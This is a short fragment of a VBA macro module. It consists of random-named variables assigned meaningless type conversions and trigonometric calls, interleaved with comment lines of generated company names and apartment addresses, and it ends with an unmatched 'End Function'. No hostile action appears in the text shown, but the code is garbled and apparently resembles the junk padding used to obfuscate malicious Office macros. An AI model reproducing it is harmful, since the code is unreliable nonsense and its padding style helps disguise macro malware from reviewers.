   ''' Orzechowski, Szelag and Fratczak Suite 853 South Chrzanowski, Mlynarczyk and Zajac Apt. 097 Southeast
Aiitebfakii = CStr(888)
''' Grzywacz - Ciszewski Suite 613 Northeast Kazmierczak, Stefaniak and Janusz Apt. 111 West
Uwdirzxbjkp = CByte(56)
''' Kolodziej, Rosinski and Bieniek Apt. 732 Northwest Niedzwiecki - Rosa Suite 670 East
Kdnasdclghl = CInt(242)
Uanzwiejlq = Lzmlqxtjnrb
''' Hajduk - Nowakowski Apt. 978 Southwest Gruszka, Michalak and Sliwinski Suite 048 North
Qfhfopsfhf = Cos(358)
''' Mackiewicz Inc Suite 947 West Radecki, Sadowski and Wojtasik Apt. 602 Southeast
Kogfhznolgd = CBool(147)
''' Wiacek - Malicki Apt. 868 North Michalak - Stefanski Apt. 041 Southwest
Qjsswczapgcxe = Fix("Rice GroupSuite 602Northeast")
''' Konieczna, Herman and Zawadzki Apt. 678 Southeast Baran, Czarnecki and Bednarski Suite 557 Southeast
   ''' Marszalek - Jurkowski Suite 481 Northwest Wojtkowiak - Ziólkowski Apt. 825 North
Dneuyvrnkek = Tan(518)
''' Januszewski Group Apt. 381 Northwest Szwed LLC Suite 089 South
Ddpcfkqj = Sin(721)
''' Grzybowski - Witkowski Suite 598 West Sikorski, Jankowiak and Wasilewski Suite 617 Northeast
Ywslvhnu = Int(461)
Oulrlywad = Rftamnnrv
''' Majcher and Sons Suite 346 West Matysiak - Piechota Apt. 465 Southwest
Lnfxfkvgx = Rnd(181)
''' Nowinski, Nowinski and Kowalewski Suite 424 South Olejniczak - Misiak Apt. 766 Southwest
Wnirxrhoqfsv = CSng(906)
''' Bartosik and Sons Suite 517 South Zalewski and Sons Apt. 221 Southeast
Zkjtadwdhiym = Round("Towels")
''' Gawlik, Brzozowski and Markowski Apt. 652 Southeast Szewczyk - Urbanski Apt. 289 Southwest
End Function

Attribute VB_Name = "Tnhxpekdpgll"